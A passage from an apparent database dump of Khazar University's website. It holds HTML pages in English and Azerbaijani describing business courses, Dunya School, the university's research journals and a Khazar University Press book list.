serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 435: Taxation Policy (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: LAW 305</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The study of fundamental income tax problems in business, investments and personal decisions; tax problems arising for business, corporations; shareholder\'s tax problems; current trends in law and taxation policy; comparative analyses of different countries.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 440:</strong>&nbsp;&nbsp;<strong>Business Research</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the main research tools applicable in applied business research. Basics of research problem formulation, research proposal, research design, different types of study, data collection and information sources, measurement, quantitative and qualitative data processing, hypothesis testing, data analysis, presentation and reporting, and ethics in business research are the main subjects of the course.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 690: Information Technology for Decisions (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: BSA 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course has the main goal of providing students with applied knowledge in the use of information technology and systems in modern society, to learn how to make use of the most efficient programs in text processing, data management, spreadsheets and communications. Information nets, methods of information services in foreign trade, production management, the banking system (SWIFT), international tourism, and other topics will be examined.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 880: Business Research Methods (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the main research tools applicable in applied and theoretical business research. Research problem formulation, research proposal, research design, different types of study, data collection and information sources, measurement, quantitative and qualitative data processing, hypothesis testing, data analysis, presentation and reporting, and ethics in business research are the main subjects&nbsp;of&nbsp;the course.</p>  <br></div>'),(1119,698,'en','Publications','Publications','<p>Khazar University produces a range of publications to encourage research and promote activities at Khazar to our public community, alumni in both print and electronic formats.</p>'),(1120,698,'az','Nəşrlər','Nəşrlər',''),(1121,428,'az','Dünya məktəbi','Dünya məktəbi','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Our school believes that each child is a unique individual who needs a secure, caring, and stimulating atmosphere in which to grow and mature emotionally, intellectually, physically, and socially. Our mission is to create an environment that enables both the students and the staff to experience success. We try to help the students utilize critical thinking in their responses to the events of everyday life. We seek to engage the students in the development of their moral, social and academic skills so that they can contribute positively to society.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Our aims are:</p><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li>To provide programs through which each child may explore his/her creative potential.&nbsp;</li><li>To provide a well-rounded program of instruction using the best educational practices appropriate to the cultural, intellectual and social needs of the students.</li><li>To provide educational resources in a safe, challenging, tolerant, and supportive environment in which students are actively encouraged to participate.</li><li>To carry out a successful working partnership between parents and teachers that is essential to each child’s development and well-being.</li><li>To provide an environment where the students and teachers remain healthy and safe.</li><li>To help all the students to acquire self-discipline and maximize achievement so that they can make a positive and active contribution to the life of the school.&nbsp;</li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">To help all children to feel valued and to have respect for other people and the world in which they live.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a href=\"http://www.dunyaschool.az/\" target=\"_blank\">SEE MORE&gt;&gt;</a></strong></p>  <br></div>'),(1122,700,'az','Elmi-tədqiqat jurnalları','Elmi-tədqiqat jurnalları','<div><br><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><img src=\"/files/image/jurnal%201.JPG\" style=\"width:150px;height:214px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"></a></div><div><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><br></a></div><div><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><br></a></div><div><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><br></a></div><div><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><br></a></div><div><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><br></a></div><div><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><br></a></div><div><a href=\"http://www.khazar.org/az/menus/669/xezer_humanitar_ve_sosial_elmler_jurnali\"><br></a></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/az/menus/670/azerbaycan_arxeologiyasi_jurnali\"></a><a href=\"http://www.khazar.org/az/menus/670/azerbaycan_arxeologiyasi_jurnali\"><img src=\"/files/image/jur%202.JPG\" style=\"width:150px;height:214px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/az/menus/670/azerbaycan_arxeologiyasi_jurnali\"></a><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/az/menus/671/xezer_xeber_jurnali\"><img src=\"/files/image/jur3.JPG\" style=\"width:150px;height:217px;margin:7px;float:left\"></a><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(1123,700,'en','Research Journals/ Periodicals','Research Journals/ Periodicals','<div><br></div><div><table style=\"font-size:medium\"><tbody style=\"font-family:\'times new roman\', times, serif\"><tr><td colspan=\"2\"><a href=\"http://www.azerbaijanarcheology.com/\">Azerbaijan Archeology</a></td></tr><tr><td colspan=\"2\"><a href=\"http://jhss-khazar.org/\">Khazar Journal of Humanities and Social Sciences</a></td></tr><tr><td colspan=\"2\"><a href=\"http://khazar-review.khazar.org/\" target=\"_blank\">Khazar View</a></td></tr><tr><td colspan=\"2\"><a href=\"http://www.khazar.org/section.php?id=494\">Khazar University Press</a></td></tr></tbody></table>  <br></div>'),(1124,703,'az','Xəzər Humanitar və Sosial Elmlər Jurnalı','Xəzər Humanitar və Sosial Elmlər Jurnalı','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Humanitar və Sosial Elmlər Jurnalı&nbsp;, &nbsp;2011-ci ildən başlayaraq&nbsp;<a title=\"Xəzər Universiteti\" href=\"https://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\">Xəzər Universitetind</a>ə nəşr edilən, humanitar və sosial elmlər &nbsp;üzrə &nbsp;nəzəri - tətbiqi, &nbsp;ciddi elmi axtarışları, orijinallıq və aktuallığını saxlayan &nbsp;elmi məqalələri dərc edən beynəlxalq elmi jurnaldır. Eyni zamanda jurnal konfrans, simpozium kimi tədbirlər və kitab şərhlərinə də yer verir. Jurnalda məqalələr &nbsp;<a title=\"İngilis dili\" href=\"https://az.wikipedia.org/wiki/%C4%B0ngilis_dili\">ingilis dilind</a>ə &nbsp;dərc edilir. &nbsp;İldə 4 dəfə çap olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Jurnalın təsisçisi və baş redaktoru Xəzər Universitetinin təsisçisi-qurucusu, Direktorlar və Qəyyumlar Şurasının sədri professor&nbsp;<a title=\"Hamlet İsaxanlı\" href=\"https://az.wikipedia.org/wiki/Hamlet_%C4%B0saxanl%C4%B1\">Hamlet İsaxanlıd</a>ır. Jurnalın redaksiya heyətinə müvafiq sahələr üzrə görkəmli Azərbaycan və xarici tədqiqatçılar, alimlər və elm xadimləri daxildir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Humanitar və Sosial Elmlər Jurnalı 2015-ci ilin may ayında rəsmi olaraq, &nbsp;“Thomson Reuters” agentliyinin &nbsp;tərkib hissəsi olan \"Elm şəbəkəsi\" (Web of Science)&nbsp; bazasına daxil olub.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Humanitar və Sosial Elmlər Jurnalı hal-hazırda “ Committee on Publication Ethics (COPE)” təşkilatının üzvüdür.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Jurnal&nbsp;eyni zamanda Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Elmi məqalələrin dərc olunması tövsiyə edilən Elmi nəşrlər siyahısına daxildir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">\"Xəzər Humanitar və Sosial Elmlər Jurnalı\" 2011-ci ildən indiyə qədər 50-yə yaxın &nbsp;nüfuzlu elmi bazalar tərəfindən indeksləşdirilib və beynəlxalq elmi ictimaiyyətə təqdim olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Humanitar və Sosial Elmlər jurnalının rəsmi saytına bu linkdən -<a href=\"http://jhss-khazar.org/\"><strong>http://jhss-khazar.org/</strong></a>&nbsp;baxa bilərsiniz</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/image/16_01_07_KJHSSemblem.png\" style=\"width:150px;height:64px;margin:7px;float:left\">&nbsp;<img src=\"/files/image/16_01_07_KJHSS_coverage..jpg\" style=\"width:150px;height:208px;margin:7px;float:left\"></p>  <br></div>'),(1125,703,'en',' Khazar Journal of Humanities and Social Sciences',' Khazar Journal of Humanities and Social Sciences','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The journal was formerly published as Journal of Azerbaijani Studies and was renamed in April 2011 to reflect a broadening scope of material included.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The official website of the Khazar Journal of Humanities and Social Sciences is located here:&nbsp;<a href=\"http://jas-khazar.org/\"></a><a href=\"http://jhss-khazar.org/\">http://jhss-khazar.org/</a>.</p>  <br></div>'),(1126,704,'az','Azərbaycan Arxeologiyası Jurnalı','Azərbaycan Arxeologiyası Jurnalı','<div><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p>1999-cu ildə təsis edilmiş Azərbaycan Arxeologiyası jurnalı hazırda geniş oxucu kütləsinə malikdir.</p><p>Jurnalın təsisçisi&nbsp; Professor Hamlet İsaxanlı, baş redaktor Professor Qüdrət İsmayılzadədir.</p><p>Jurnalda dünya arxeologiyasının mənşəyi və tərəqqisi, böyük arxeoloji kəşflər, Azərbaycanda və dünyada aparılan arxeoloji qazıntı işləri barədə maraqlı məqalələr dərc olunur, Azərbaycan və dünya arxeologiyası ilə bağlı nəzəri işlər, tədqiqatlar öz əksini tapır.</p><p>Jurnalda məqalələr Azərbaycan, İngilis və Rus dillərində dərc olunur.</p><p>Jurnal bir neçə bölmədən ibarətdir: araşdırmalar, maraqlı tapıntılar, elmin tarixi, işğal olunmuş abidələr, böyük arxeoloji kəşflər və s.</p><p>Jurnal həmçinin, tələbələrin öyrənmə &nbsp;prosesinə yardım etmək məqsədi daşıyır və bu baxımdan jurnal iki əsas bölmədən-&nbsp; \"tələbələrə kömək\" və\"köməkçi tarixi elmlər\" bölmələrindən ibarətdir.</p>  <img src=\"/files/image/jur%202.JPG\" style=\"width:150px;height:214px;margin:7px;float:left\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div><a href=\"http://www.khazar.org/az/menus/672/redaktordan\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Redaktordan</strong></a>  <br></div>'),(1127,704,'en','Azerbaijani Archeology','Azerbaijani Archeology','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p>The Azerbaijani Archaeology journal is a popular science journal published by the Department of History and Archaeology of Khazar University since 1999.</p><p>The journal was founded by Prof. Hamlet Isakhanli.</p><p>The chief editor of the journal is Prof. Qudrat Ismailzade.</p><p>The origin and progress of world archaeology, great archaeological discoveries, interesting excavations in Azerbaijan and around the world, and articles of Azerbaijani and world-recognized archaeologists are represented in the journal.</p><p>Articles in the journal are published in three languages: Azerbaijani, English, and Russian.</p><p>The journal keeps readers abreast of the latest explorations, discoveries, and technical innovations in the field.</p><p>Studies about ancient historical places, settlements, and cities, whether from excavations or documentary sources, will be of interest to historians, archaeologists, and other people interested in this sphere.</p><p>Azerbaijani Archaeology covers essentials, methodology, contemporary problems and achievements of archaeology as well as publishing theoretical works, field studies and popular articles related to Azerbaijan and world archaeology.</p><p>The journal has several sections: research, interesting excavations, history of science, great archaeological discoveries and more.</p><p>The journal also intends to assist students’ learning process, and for this reason there are two main sections of the journal called “for students” and “subsidiaries.\"</p><p>The journal’s official site is located at&nbsp;<a href=\"http://www.khazar.org/s490/Azerbaycan-Arxeologiyasi-Jurnali/azerbaijanarcheology.com\">azerbaijanarcheology.com</a>.</p><p>It encourages debate and is essential reading for anyone interested in or&nbsp;studying archaeology.</p><div><br></div></div></div>  <br></div>'),(1128,706,'az','Redaktordan','Redaktordan','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>RЕDАKTОRDАN</strong></p><hr><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong></strong>Әziz охucum! Yеni minilliyin аstаnаsındа çаpı başlаnаn bu jurnаl ülvi bir аmаlа vә şәrәfli bir mәqsәdә - ululаrımızın müqәddәs izlәrini ахtаrаn, оnlаrın kеçdiyi kеşmәkеşli yоlun yоlçusu оlаn Аzәrbаycаn аrхеоlоgiyаsının yаrаnmа vә inkişаf tаriхini, хidmәtlәrini, хüsusәn, әldә еtdiyi nаiliyyәtlәrini işıqlаndırmаğа istiqаmәtlәnmişdir. Dоğmа yurdumuz sаyı hәlә dә bilinmәyәn minilliklәri vә yuzilliklәri әhаtә еdәn zәnkin bir tаriхә mаlik оlmаqlа hәr qаrış tоrpаqındа әski dünyаmızdаn хәbәr vеrә bilәn küllu miqdаrdа qiymәtli yаdigаrlаr gizlәtmişdir. Оnlаrı ахtаrıb tаpmаq, оnlаrın әsаsındа kеçmişimizi bәrpа еtmәk mәhz аrхеоlоgiyа еlminin bаşlıcа vәzifәsidir. Әsаsı böyük Qüdsi tәrәfindәn qоyulаn vә о vахtdаn dаim ахtаrışlаrdа оlаn Аzәrbаycаn аrхеоlоgiyаsı аrtıq uzun bir yоlu qәt еtmişdir. Bu yоl еnişli-yохuşlu оlsа dа, sоn nәticәdә öz yоlçusunu ululаrımızın әn qәdim yurd yеrlәrinә, әbәdi uyuduqlаrı mәzаrlаrı üstünә, qәdim qаyаüstü rәsmlәrin sirli vә sеhrli dünyаsınа, yаşı milyоnu ötmüş Аzıх mаğаrаsınа gәtirib çıхаrmışdır. Bu еlm Аzәrbаycаnı bәşәr mәdәniyyәtinin ilk оcаqlаrındаn biri kimi tаnıtmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Jurnаlımızdа bütün bunlаrı dоlğun şәkildә әks еtdirmәyi vә gеniş ictimаiyyәtin nәzәr diqqәtinә çаtdırmаğı qаrşımızа әsаs vәzifә kimi qоymuşuq. Lаkin jurnаlımızın әhаtә dаirәsi tәkcә Аzәrbаycаn аrхеоlоgiyаsı ilә mәhdudlаşmayаcаqdır. Аrхеоlоgiyа әn cаvаn humаnitаr еlmlәrdәn biri sаyılsа dа, öz tаriхi kөklәrilә çох qәdim dövrlәrlә bаğlıdır. Bununlа әlаqәdаr jurnаlımızın аyrı-аyrı sаylаrındа dünyа аrхеоlоgiyаsının yаrаnmаsı vә inkişаf yоlu, әn böyük аrхеоlоji kәşflәr, mәşhur аrхеоlоqlаrın hәyаt vә fәаliyyәti, еlәcә dә yахın vә uzаq çаğdаş hәmkаrlаrımız hаqqındа dа gеniş mәlumаtlаr vеrilәcәkdir. Jurnаlımız еyni zаmаndа dәrs vәsаiti kimi dә nәzәrdә tutulmuşdur. Оnun sәhifәlәrindә аrхеоlоgiyа еlminin әsаslаrı vә mеtоdikаsı, müаsir prоblеmlәri vә nаiliyyәtlәri gеniş şәkildә işıqlаndırılаcаq vә şübhәsiz bеlә işdәn tаriх fаkültәlәrindә охuyаn tәlәbәlәrimiz yаlnız fаydаlаnа bilәcәklәr. Ümumilikdә, \"Аzәrbаycаn аrхеоlоgiyаsı\" gеniş охucu kütlәsi üçündür, kеçmişә, tаriхә mаrаq göstәrәn hәr bir kәs üçündür. Şirinli-аcılı dünyаmızdа dönüb gеriyә bахmаdаn, оnun dәrslәrini öyrәnmәdәn yаşаmаq оlаrmı? Zаmаnın, vахtın vаrisliyini vә vәhdәtini hiss еtmәdәn yаşаmаq оlаrmı? Әslа yох. Gözümüzün qаrşısındа hәr gün tаriхi dәyişikliklәr bаş vеrir. Хеyirlә şәr bir-birilә vuruşur. Gаh biri, gаh dа о birisi zәfәr çаlır, uğur vә uğursuzluq bir-birini әvәz еdir. Bunlаrın hәr biri insаnı dәrin düşüncәyә sövq еtdirir, hәr bir hаdisәnin tәkcә sаbаhlа, gәlәcәklә yох, kеçmişlә dә sıх bаğlı оlduğunu göstәrir. Bunа görә dә indini düzgün bаşа düşmәk vә qiymәtlәndirmәk, sаbаhа inаmlа аddımlаmаq üçün nәsillәr tәrәfindәn kеçilәn yоlu аydınlаşdırmаq, bu yоlun әbәdi yоlçusu оlmаq lаzımdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium;text-align:left\">Yolçu yоldа gәrәk, әziz охucum.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium;text-align:right\"><strong style=\"text-align:right\">Qüdrət İsmayılzadə</strong>  </p><div style=\"text-align:right\"><br></div><p></p>  <br></div>'),(1129,705,'az','Xəzər Xəbər jurnalı','Xəzər Xəbər jurnalı','<div><br></div><div>1995-ci ildə Universitet qəzeti kimi fəaliyyətə başlayan \"Xəzər Xəbər\" jurnalı (\"Khazar View\") üç dildə - Azərbaycan, ingilis və rus dilərində nəşr olunur (jurnalın hər sayında yazılar təqdim olunduğu dildə -&nbsp; azərbaycan, ingilis və ya rus dillərində dərc olunur). Dünya, Azərbaycan və universitet həyatı barədə materiallar, müxtəlif elmi və pedaqoji məqalələr, elmi xəbərlər, tələbə həyatı, müəllim və tələbələr tərəfindən yazılan şeir, esse və hekayələrin yer aldığı \"Xəzər Xəbər\" Azərbaycanda ən çox oxunan elmi-kütləvi və bədii jurnallardan biridir. 2010-cu ildən etibarən \"Xəzər Xəbər\" fəaliyyətini yeni formatda - ayda bir dəfə dərc edilən 80 səhifəli rəngli jurnal kimi davam etdirir.<hr><p><strong>\"Xəzər Xəbər\" jurnalının rəsmi saytı:&nbsp;</strong><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>  <br></div><div><img src=\"/files/image/jur3.JPG\" style=\"width:150px;height:217px;margin:7px;float:left\"><br></div>'),(1130,705,'en','Khazar Review','Khazar Review','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The popular and editorial/scientific&nbsp;<strong><a href=\"http://khazar-review.khazar.org/\">Khazar Reiew</a></strong>&nbsp;is the only journal of its kind among journals published by Azerbaijani higher education institutions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">It was originally published in a newspaper style, then was published twice a month as a 40-page magazine for several years. Since 2010 it has been published monthly in an 80-page magazine format.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">In October 2011, the 300th edition of the Khazar Review journal was printed.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Subscription to the journal is managed through the “Azermetbuatyayimi” Open Joint-Stock Company and “Gasid” Open Joint-Stock Company, while retail sales are handled by “Metroservis” LLC. At the same time, the journal is distributed free of charge to many individuals and organizations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">From the first edition until the present, the senior editor of the journal has been Professor Hamlet Isaxanli, who was the president of Khazar University until September 2010 and since that time has been serving as the Chairman of the University’s Board of Directors and Trustees. Nationally recognized academic and cultural workers are represented in the journal’s editorial board.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Official site: &nbsp;<a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Sample Issue (April, #306)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ISSN&nbsp;</strong><strong>1027-3875</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><img src=\"/files/image/KV_april.jpg\" style=\"width:150px;height:211px;margin:7px;float:left\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;<strong>Contents</strong></strong></p><ul style=\"margin:0px;padding:0px;list-style:square;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:disc\">University News</li><li style=\"margin:0px;padding:0px;list-style:disc\">Shukur Alizadeh. Spanish Day at Khazar</li><li style=\"margin:0px;padding:0px;list-style:disc\">Majid Musayev. “Volunteers for Eurovision 2012”</li><li style=\"margin:0px;padding:0px;list-style:disc\"><strong>Hamlet Isakhanli.</strong>&nbsp;&nbsp;<a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1570/1/Doc2.pdf\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#0000ff\">“The idea of compulsory education: history and today, cause and effect.” (in azerbaijani)</span></a></li><li style=\"margin:0px;padding:0px;list-style:disc\">NSU News</li><li style=\"margin:0px;padding:0px;list-style:disc\">The Opening Ceremony of the Monument for Genius Azerbaijani Poet Nizami Ganjavi in Rome</li><li style=\"margin:0px;padding:0px;list-style:disc\">Isakhan Isakhanli:&nbsp;My Memories of Tofik Abaskuliyev</li><li style=\"margin:0px;padding:0px;list-style:disc\">Elkin Khalilov: Is it Possible to Divorce and Remain Friends?</li><li style=\"margin:0px;padding:0px;list-style:disc\">Manzara Sadigova: Women and Men</li><li style=\"margin:0px;padding:0px;list-style:disc\">Khalil Majidoghlu: Scenes of Life</li><li style=\"margin:0px;padding:0px;list-style:disc\">Founder of the School of Modern Tar Performance</li><li style=\"margin:0px;padding:0px;list-style:disc\">Jack London. Grit of Women</li><li style=\"margin:0px;padding:0px;list-style:disc\">Land Remaining from Urarthy and the Secret of a 3000-Year Old Stone Inscription</li><li style=\"margin:0px;padding:0px;list-style:disc\">Medicine</li><li style=\"margin:0px;padding:0px;list-style:disc\">Mosaic</li><li style=\"margin:0px;padding:0px;list-style:disc\">Sports</li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong></strong></p><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li>Dunya School</li></ul>    <br></div>'),(1131,701,'en',' Books',' Books','<p><a href=\"http://www.khazar.org/en/menus/668/khazar_university_press\">Khazar University Press</a>&nbsp;has been publishing books and periodicals in humanities and social sciences since 1995.</p><p>Complete list of titles produced by Khazar University Press.</p><p><strong>E-books</strong><br>Many of the books produced by Khazar University Press are available free in electronic format. Below is the list of KUP books that are available to download.<a href=\"http://dspace.khazar.org/jspui/handle/123456789/986/simple-search?query=a&amp;sort_by=0&amp;order=DESC&amp;rpp=10&amp;etal=0&amp;start=0\">&nbsp;</a></p><p><a href=\"http://library.khazar.org/s139/Khazar-University-e-Publications/en\">Complete list of e-books</a></p><p><br></p><h3><strong>Bibliography</strong>&nbsp;</h3><img src=\"/files/image/Scholar_Founder_Poet.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\">&nbsp;<p><a href=\"http://www.khazar.org/files/image/Biblioqrafiya%20Hamlet%20edited%20by%20Martha.pdf\"><strong>Hamlet İsaxanlı: Biblioqrafiya. Alim, Qurucu, Şair</strong></a>&nbsp;(PDF), 2010</p><p>ISBN 978-9952-20-048-5</p><p><br></p><p><br></p>\r\n<p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><img src=\"http://www.khazar.org/files/image/16_02_18_Capture.JPG\" style=\"width:150px;height:200px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/simp%201-ci%20cild.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun</a>&nbsp;</strong>(PDF), 2014&nbsp;</p><p>ISBN 978-9952-20-107-9</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/image/16_02_18_Capture.JPG\" style=\"width:150px;height:200px;margin:7px;float:left\"></p><p><strong><a href=\"http://www.khazar.org/files/pdf/simp%20ii%20cild2.yeni.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumu</a>&nbsp;<a href=\"http://www.khazar.org/files/pdf/simp%20ii%20cild2.yeni.pdf\"></a></strong>(PDF), 2014&nbsp;</p><p>ISBN 978-9952-20-108-6</p><p><br></p><p><br></p><p><br></p><p><br></p><br><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/image/Bahlul_Abdulla.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></p><p><a href=\"http://www.khazar.org/files/image/Bahlul%20kitab.pdf\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/Ziyaret.jpg\" rel=\"media8208945394265195\" width=\"150\" height=\"100\"><strong>Bəhlul Abdulla-Sevgi dolu alim və pedaqoq</strong></a>&nbsp;(PDF), 2010&nbsp;</p><p>ISBN 987-9952-20-058-4</p>  <p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><br></h3><h3>Economics, Business and Management  </h3><p><br></p><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1537/1/Dictionary_PM.pdf\"><img src=\"http://www.khazar.org/files/image/Project%20Management%20Dictionary.jpg\" style=\"border:0px  #0000ee;width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://www.khazar.org/files/image/english%20m.nuriyev.pdf\"><strong>English-Azerbaijani&nbsp; Azerbaijani-English Concise Dictionary of Project Management Terms</strong></a>&nbsp;(PDF), 2012</p><p>M.N. Nuriyev</p><p>ISBN 978-9952-20-070-6&nbsp;<br></p><p><br></p><p><br></p>  <p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3>Education</h3><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1001/1/on%20education%20system_Isaxanli.pdf\"><img src=\"/files/image/On_education_system.jpg\" style=\"width:150px;height:214px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/files/image/on%20education%20system_Isaxanli.pdf\"><strong>On education system in transition economy: A view from Azerbaijan</strong></a>&nbsp;(PDF), 2006</p><p>Hamlet Isakhanli</p><p>ISBN 978-9952-20-037-9</p><p>This collection of works examines the past and present of Azerbaijani Education System&nbsp;</p><p>and offers new perspectives on the development and modernization of education policy.  <br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><strong>History</strong></h3><p><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\"><img src=\"/files/image/Mehemmed_Emin.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></a></p><p><a href=\"http://www.khazar.org/files/image/Mamed%20Amin%20Rasulzade%20234.pdf\"><strong>Məhəmməd Əmin Rəsulzadə və ictimai-siyasi ideallar</strong></a>&nbsp;(PDF), 2005</p><p>ISBN 9952-20-028-5  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" 